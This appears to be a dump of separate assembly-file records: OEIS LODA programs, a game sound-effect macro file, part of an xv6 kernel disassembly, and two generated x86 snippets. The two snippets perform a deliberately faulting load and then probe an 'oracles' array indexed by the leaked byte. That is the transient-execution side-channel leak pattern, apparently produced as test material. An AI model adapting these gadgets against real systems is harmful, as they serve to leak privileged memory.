text stringlengths 1 1.05M |
|---|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x119ab, %rbx
xor %r13, %r13
and $0xffffffffffffffc0, %rbx
vmovaps (%rbx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rcx
nop
add %rdi, %rdi
lea addresses_D_ht+0x15c8f, %rsi
lea addresses_WT_ht+0xd2fd, %rdi
nop
nop
nop
nop
inc %rbx
mov $119, %rcx
rep movsq
nop
lfence
lea addresses_WT_ht+0xc67d, %r10
sub %r8, %r8
movl $0x61626364, (%r10)
xor $20216, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rsi
// Store
mov $0x13029a00000001db, %r8
nop
nop
and %rbx, %rbx
movw $0x5152, (%r8)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r12
nop
nop
add $35096, %rsi
// Store
lea addresses_US+0x169f, %rsi
nop
nop
nop
nop
cmp %rax, %rax
movw $0x5152, (%rsi)
nop
nop
nop
add $57305, %rbx
// Store
lea addresses_WC+0x9adb, %rbp
nop
nop
add %rcx, %rcx
movl $0x51525354, (%rbp)
xor $7142, %r12
// Store
lea addresses_PSE+0xf7a3, %rsi
nop
nop
xor $42815, %rbx
movl $0x51525354, (%rsi)
nop
nop
nop
add %r12, %r12
// Faulty Load
mov $0x2da4d10000000bdb, %r12
nop
nop
cmp $45490, %rsi
movb (%r12), %al
lea oracles, %rbp
and $0xff, %rax
shlq $12, %rax
mov (%rbp,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_US', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'00': 296}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A056136: Largest positive integer whose harmonic mean with another positive integer is n.
; 1,2,6,6,15,12,28,20,45,30,66,42,91,56,120,72,153,90,190,110,231,132,276,156,325,182,378,210,435,240,496,272,561,306,630,342,703,380,780,420,861,462,946,506,1035,552,1128,600,1225,650,1326,702,1431,756,1540
mov $3,2
mov $7,$0
lpb $3,1
sub $3,1
add $0,$3
sub $0,1
mov $2,$3
mov $4,1
mov $5,1
mov $6,$0
add $6,1
add $4,$6
add $4,2
div $4,2
add $5,$6
bin $5,2
mul $4,$5
lpb $2,1
mov $1,$4
sub $2,1
lpe
lpe
lpb $7,1
sub $1,$4
mov $7,0
lpe
sub $1,2
div $1,2
add $1,1
|
; A201734: Numbers n such that 90*n + 47 is prime.
; Submitted by Christian Krause
; 0,1,2,3,6,7,9,10,13,14,16,18,20,22,24,25,27,29,31,32,38,39,43,44,49,50,51,53,56,63,64,65,66,69,77,80,83,84,87,90,91,95,98,101,102,105,106,107,108,109,111,116,118,120,121,122,123,129,132,134,135,137,140,143,144,146,148,149,154,155,156,157,160,161,162,163,165,167,172,175,176,178,182,184,186,192,193,195,199,200,206,210,211,217,221,223,225,227,230,233
mov $1,39
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $1,16
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,61
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,84
div $0,45
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x7a50, %rdx
nop
nop
and $30582, %r13
mov (%rdx), %ebp
nop
inc %rbp
lea addresses_UC_ht+0x13198, %rsi
lea addresses_WC_ht+0xa102, %rdi
nop
nop
nop
dec %r14
mov $61, %rcx
rep movsq
nop
nop
nop
nop
add $60377, %rsi
lea addresses_normal_ht+0x15e48, %rsi
lea addresses_A_ht+0x78b8, %rdi
nop
nop
dec %rbp
mov $100, %rcx
rep movsw
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_WC_ht+0xb8d8, %rcx
nop
nop
nop
nop
nop
sub $64915, %r13
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
nop
nop
cmp %r14, %r14
lea addresses_WT_ht+0x4f44, %r14
nop
nop
nop
xor $59140, %rcx
movw $0x6162, (%r14)
nop
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_UC_ht+0x1ed08, %r13
nop
nop
nop
nop
nop
and $64005, %rdx
movl $0x61626364, (%r13)
nop
cmp %rdx, %rdx
lea addresses_WC_ht+0x9250, %rsi
lea addresses_UC_ht+0x1549c, %rdi
nop
nop
nop
nop
nop
add $60360, %r11
mov $5, %rcx
rep movsq
cmp $45084, %rsi
lea addresses_normal_ht+0x13948, %rsi
lea addresses_D_ht+0xbe48, %rdi
nop
xor $62749, %rbp
mov $30, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %rbp
push %rcx
push %rdx
push %rsi
// Load
lea addresses_D+0xfc90, %r14
nop
nop
nop
sub $14955, %rdx
vmovups (%r14), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
nop
nop
nop
sub %rdx, %rdx
// Faulty Load
lea addresses_D+0x13a48, %r13
clflush (%r13)
nop
inc %r14
vmovups (%r13), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rsi
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbp
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
SFX_Level_Up_Ch5:
execute_music
tempo 256
volume 7, 7
duty_cycle 2
toggle_perfect_pitch
note_type 6, 11, 4
octave 4
note F_, 4
note_type 4, 11, 2
note C_, 2
note F_, 2
note C_, 2
note_type 6, 11, 3
note D#, 2
note D#, 2
note E_, 2
note_type 6, 11, 4
note F_, 8
sound_ret
SFX_Level_Up_Ch6:
execute_music
vibrato 4, 2, 2
duty_cycle 2
note_type 6, 12, 4
octave 4
note A_, 4
note_type 4, 12, 2
note A_, 2
note A_, 2
note A_, 2
note_type 6, 12, 4
note A#, 2
note A#, 2
note A#, 2
note_type 6, 12, 4
note A_, 8
sound_ret
SFX_Level_Up_Ch7:
execute_music
note_type 6, 1, 0
octave 5
note A_, 4
note_type 4, 1, 0
note F_, 1
rest 1
note F_, 1
rest 1
note F_, 1
rest 1
note_type 6, 1, 0
note G_, 1
rest 1
note D#, 1
rest 1
note G_, 1
rest 1
note A_, 8
sound_ret
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 a0 10 00 mov $0x10a000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc 70 c6 10 80 mov $0x8010c670,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 a6 37 10 80 mov $0x801037a6,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100034: 55 push %ebp
80100035: 89 e5 mov %esp,%ebp
80100037: 83 ec 28 sub $0x28,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010003a: c7 44 24 04 40 85 10 movl $0x80108540,0x4(%esp)
80100041: 80
80100042: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
80100049: e8 b8 4e 00 00 call 80104f06 <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
8010004e: c7 05 cc 0d 11 80 7c movl $0x80110d7c,0x80110dcc
80100055: 0d 11 80
bcache.head.next = &bcache.head;
80100058: c7 05 d0 0d 11 80 7c movl $0x80110d7c,0x80110dd0
8010005f: 0d 11 80
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100062: c7 45 f4 b4 c6 10 80 movl $0x8010c6b4,-0xc(%ebp)
80100069: eb 46 jmp 801000b1 <binit+0x7d>
b->next = bcache.head.next;
8010006b: 8b 15 d0 0d 11 80 mov 0x80110dd0,%edx
80100071: 8b 45 f4 mov -0xc(%ebp),%eax
80100074: 89 50 54 mov %edx,0x54(%eax)
b->prev = &bcache.head;
80100077: 8b 45 f4 mov -0xc(%ebp),%eax
8010007a: c7 40 50 7c 0d 11 80 movl $0x80110d7c,0x50(%eax)
initsleeplock(&b->lock, "buffer");
80100081: 8b 45 f4 mov -0xc(%ebp),%eax
80100084: 83 c0 0c add $0xc,%eax
80100087: c7 44 24 04 47 85 10 movl $0x80108547,0x4(%esp)
8010008e: 80
8010008f: 89 04 24 mov %eax,(%esp)
80100092: e8 31 4d 00 00 call 80104dc8 <initsleeplock>
bcache.head.next->prev = b;
80100097: a1 d0 0d 11 80 mov 0x80110dd0,%eax
8010009c: 8b 55 f4 mov -0xc(%ebp),%edx
8010009f: 89 50 50 mov %edx,0x50(%eax)
bcache.head.next = b;
801000a2: 8b 45 f4 mov -0xc(%ebp),%eax
801000a5: a3 d0 0d 11 80 mov %eax,0x80110dd0
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000aa: 81 45 f4 5c 02 00 00 addl $0x25c,-0xc(%ebp)
801000b1: 81 7d f4 7c 0d 11 80 cmpl $0x80110d7c,-0xc(%ebp)
801000b8: 72 b1 jb 8010006b <binit+0x37>
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000ba: c9 leave
801000bb: c3 ret
801000bc <bget>:
// Look through buffer cache for block on device dev.
// If not found, allocate a buffer.
// In either case, return locked buffer.
static struct buf*
bget(uint dev, uint blockno)
{
801000bc: 55 push %ebp
801000bd: 89 e5 mov %esp,%ebp
801000bf: 83 ec 28 sub $0x28,%esp
struct buf *b;
acquire(&bcache.lock);
801000c2: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
801000c9: e8 59 4e 00 00 call 80104f27 <acquire>
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000ce: a1 d0 0d 11 80 mov 0x80110dd0,%eax
801000d3: 89 45 f4 mov %eax,-0xc(%ebp)
801000d6: eb 50 jmp 80100128 <bget+0x6c>
if(b->dev == dev && b->blockno == blockno){
801000d8: 8b 45 f4 mov -0xc(%ebp),%eax
801000db: 8b 40 04 mov 0x4(%eax),%eax
801000de: 3b 45 08 cmp 0x8(%ebp),%eax
801000e1: 75 3c jne 8010011f <bget+0x63>
801000e3: 8b 45 f4 mov -0xc(%ebp),%eax
801000e6: 8b 40 08 mov 0x8(%eax),%eax
801000e9: 3b 45 0c cmp 0xc(%ebp),%eax
801000ec: 75 31 jne 8010011f <bget+0x63>
b->refcnt++;
801000ee: 8b 45 f4 mov -0xc(%ebp),%eax
801000f1: 8b 40 4c mov 0x4c(%eax),%eax
801000f4: 8d 50 01 lea 0x1(%eax),%edx
801000f7: 8b 45 f4 mov -0xc(%ebp),%eax
801000fa: 89 50 4c mov %edx,0x4c(%eax)
release(&bcache.lock);
801000fd: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
80100104: e8 85 4e 00 00 call 80104f8e <release>
acquiresleep(&b->lock);
80100109: 8b 45 f4 mov -0xc(%ebp),%eax
8010010c: 83 c0 0c add $0xc,%eax
8010010f: 89 04 24 mov %eax,(%esp)
80100112: e8 eb 4c 00 00 call 80104e02 <acquiresleep>
return b;
80100117: 8b 45 f4 mov -0xc(%ebp),%eax
8010011a: e9 94 00 00 00 jmp 801001b3 <bget+0xf7>
struct buf *b;
acquire(&bcache.lock);
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
8010011f: 8b 45 f4 mov -0xc(%ebp),%eax
80100122: 8b 40 54 mov 0x54(%eax),%eax
80100125: 89 45 f4 mov %eax,-0xc(%ebp)
80100128: 81 7d f4 7c 0d 11 80 cmpl $0x80110d7c,-0xc(%ebp)
8010012f: 75 a7 jne 801000d8 <bget+0x1c>
}
// Not cached; recycle some unused buffer and clean buffer
// "clean" because B_DIRTY and not locked means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100131: a1 cc 0d 11 80 mov 0x80110dcc,%eax
80100136: 89 45 f4 mov %eax,-0xc(%ebp)
80100139: eb 63 jmp 8010019e <bget+0xe2>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 45 f4 mov -0xc(%ebp),%eax
8010013e: 8b 40 4c mov 0x4c(%eax),%eax
80100141: 85 c0 test %eax,%eax
80100143: 75 50 jne 80100195 <bget+0xd9>
80100145: 8b 45 f4 mov -0xc(%ebp),%eax
80100148: 8b 00 mov (%eax),%eax
8010014a: 83 e0 04 and $0x4,%eax
8010014d: 85 c0 test %eax,%eax
8010014f: 75 44 jne 80100195 <bget+0xd9>
b->dev = dev;
80100151: 8b 45 f4 mov -0xc(%ebp),%eax
80100154: 8b 55 08 mov 0x8(%ebp),%edx
80100157: 89 50 04 mov %edx,0x4(%eax)
b->blockno = blockno;
8010015a: 8b 45 f4 mov -0xc(%ebp),%eax
8010015d: 8b 55 0c mov 0xc(%ebp),%edx
80100160: 89 50 08 mov %edx,0x8(%eax)
b->flags = 0;
80100163: 8b 45 f4 mov -0xc(%ebp),%eax
80100166: c7 00 00 00 00 00 movl $0x0,(%eax)
b->refcnt = 1;
8010016c: 8b 45 f4 mov -0xc(%ebp),%eax
8010016f: c7 40 4c 01 00 00 00 movl $0x1,0x4c(%eax)
release(&bcache.lock);
80100176: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
8010017d: e8 0c 4e 00 00 call 80104f8e <release>
acquiresleep(&b->lock);
80100182: 8b 45 f4 mov -0xc(%ebp),%eax
80100185: 83 c0 0c add $0xc,%eax
80100188: 89 04 24 mov %eax,(%esp)
8010018b: e8 72 4c 00 00 call 80104e02 <acquiresleep>
return b;
80100190: 8b 45 f4 mov -0xc(%ebp),%eax
80100193: eb 1e jmp 801001b3 <bget+0xf7>
}
// Not cached; recycle some unused buffer and clean buffer
// "clean" because B_DIRTY and not locked means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100195: 8b 45 f4 mov -0xc(%ebp),%eax
80100198: 8b 40 50 mov 0x50(%eax),%eax
8010019b: 89 45 f4 mov %eax,-0xc(%ebp)
8010019e: 81 7d f4 7c 0d 11 80 cmpl $0x80110d7c,-0xc(%ebp)
801001a5: 75 94 jne 8010013b <bget+0x7f>
release(&bcache.lock);
acquiresleep(&b->lock);
return b;
}
}
panic("bget: no buffers");
801001a7: c7 04 24 4e 85 10 80 movl $0x8010854e,(%esp)
801001ae: e8 a1 03 00 00 call 80100554 <panic>
}
801001b3: c9 leave
801001b4: c3 ret
801001b5 <bread>:
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801001b5: 55 push %ebp
801001b6: 89 e5 mov %esp,%ebp
801001b8: 83 ec 28 sub $0x28,%esp
struct buf *b;
b = bget(dev, blockno);
801001bb: 8b 45 0c mov 0xc(%ebp),%eax
801001be: 89 44 24 04 mov %eax,0x4(%esp)
801001c2: 8b 45 08 mov 0x8(%ebp),%eax
801001c5: 89 04 24 mov %eax,(%esp)
801001c8: e8 ef fe ff ff call 801000bc <bget>
801001cd: 89 45 f4 mov %eax,-0xc(%ebp)
if(!(b->flags & B_VALID)) {
801001d0: 8b 45 f4 mov -0xc(%ebp),%eax
801001d3: 8b 00 mov (%eax),%eax
801001d5: 83 e0 02 and $0x2,%eax
801001d8: 85 c0 test %eax,%eax
801001da: 75 0b jne 801001e7 <bread+0x32>
iderw(b);
801001dc: 8b 45 f4 mov -0xc(%ebp),%eax
801001df: 89 04 24 mov %eax,(%esp)
801001e2: e8 46 26 00 00 call 8010282d <iderw>
}
return b;
801001e7: 8b 45 f4 mov -0xc(%ebp),%eax
}
801001ea: c9 leave
801001eb: c3 ret
801001ec <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001ec: 55 push %ebp
801001ed: 89 e5 mov %esp,%ebp
801001ef: 83 ec 18 sub $0x18,%esp
if(!holdingsleep(&b->lock))
801001f2: 8b 45 08 mov 0x8(%ebp),%eax
801001f5: 83 c0 0c add $0xc,%eax
801001f8: 89 04 24 mov %eax,(%esp)
801001fb: e8 a0 4c 00 00 call 80104ea0 <holdingsleep>
80100200: 85 c0 test %eax,%eax
80100202: 75 0c jne 80100210 <bwrite+0x24>
panic("bwrite");
80100204: c7 04 24 5f 85 10 80 movl $0x8010855f,(%esp)
8010020b: e8 44 03 00 00 call 80100554 <panic>
b->flags |= B_DIRTY;
80100210: 8b 45 08 mov 0x8(%ebp),%eax
80100213: 8b 00 mov (%eax),%eax
80100215: 83 c8 04 or $0x4,%eax
80100218: 89 c2 mov %eax,%edx
8010021a: 8b 45 08 mov 0x8(%ebp),%eax
8010021d: 89 10 mov %edx,(%eax)
iderw(b);
8010021f: 8b 45 08 mov 0x8(%ebp),%eax
80100222: 89 04 24 mov %eax,(%esp)
80100225: e8 03 26 00 00 call 8010282d <iderw>
}
8010022a: c9 leave
8010022b: c3 ret
8010022c <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
8010022c: 55 push %ebp
8010022d: 89 e5 mov %esp,%ebp
8010022f: 83 ec 18 sub $0x18,%esp
if(!holdingsleep(&b->lock))
80100232: 8b 45 08 mov 0x8(%ebp),%eax
80100235: 83 c0 0c add $0xc,%eax
80100238: 89 04 24 mov %eax,(%esp)
8010023b: e8 60 4c 00 00 call 80104ea0 <holdingsleep>
80100240: 85 c0 test %eax,%eax
80100242: 75 0c jne 80100250 <brelse+0x24>
panic("brelse");
80100244: c7 04 24 66 85 10 80 movl $0x80108566,(%esp)
8010024b: e8 04 03 00 00 call 80100554 <panic>
releasesleep(&b->lock);
80100250: 8b 45 08 mov 0x8(%ebp),%eax
80100253: 83 c0 0c add $0xc,%eax
80100256: 89 04 24 mov %eax,(%esp)
80100259: e8 00 4c 00 00 call 80104e5e <releasesleep>
acquire(&bcache.lock);
8010025e: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
80100265: e8 bd 4c 00 00 call 80104f27 <acquire>
b->refcnt--;
8010026a: 8b 45 08 mov 0x8(%ebp),%eax
8010026d: 8b 40 4c mov 0x4c(%eax),%eax
80100270: 8d 50 ff lea -0x1(%eax),%edx
80100273: 8b 45 08 mov 0x8(%ebp),%eax
80100276: 89 50 4c mov %edx,0x4c(%eax)
if (b->refcnt == 0) {
80100279: 8b 45 08 mov 0x8(%ebp),%eax
8010027c: 8b 40 4c mov 0x4c(%eax),%eax
8010027f: 85 c0 test %eax,%eax
80100281: 75 47 jne 801002ca <brelse+0x9e>
// no one is waiting for it.
b->next->prev = b->prev;
80100283: 8b 45 08 mov 0x8(%ebp),%eax
80100286: 8b 40 54 mov 0x54(%eax),%eax
80100289: 8b 55 08 mov 0x8(%ebp),%edx
8010028c: 8b 52 50 mov 0x50(%edx),%edx
8010028f: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
80100292: 8b 45 08 mov 0x8(%ebp),%eax
80100295: 8b 40 50 mov 0x50(%eax),%eax
80100298: 8b 55 08 mov 0x8(%ebp),%edx
8010029b: 8b 52 54 mov 0x54(%edx),%edx
8010029e: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
801002a1: 8b 15 d0 0d 11 80 mov 0x80110dd0,%edx
801002a7: 8b 45 08 mov 0x8(%ebp),%eax
801002aa: 89 50 54 mov %edx,0x54(%eax)
b->prev = &bcache.head;
801002ad: 8b 45 08 mov 0x8(%ebp),%eax
801002b0: c7 40 50 7c 0d 11 80 movl $0x80110d7c,0x50(%eax)
bcache.head.next->prev = b;
801002b7: a1 d0 0d 11 80 mov 0x80110dd0,%eax
801002bc: 8b 55 08 mov 0x8(%ebp),%edx
801002bf: 89 50 50 mov %edx,0x50(%eax)
bcache.head.next = b;
801002c2: 8b 45 08 mov 0x8(%ebp),%eax
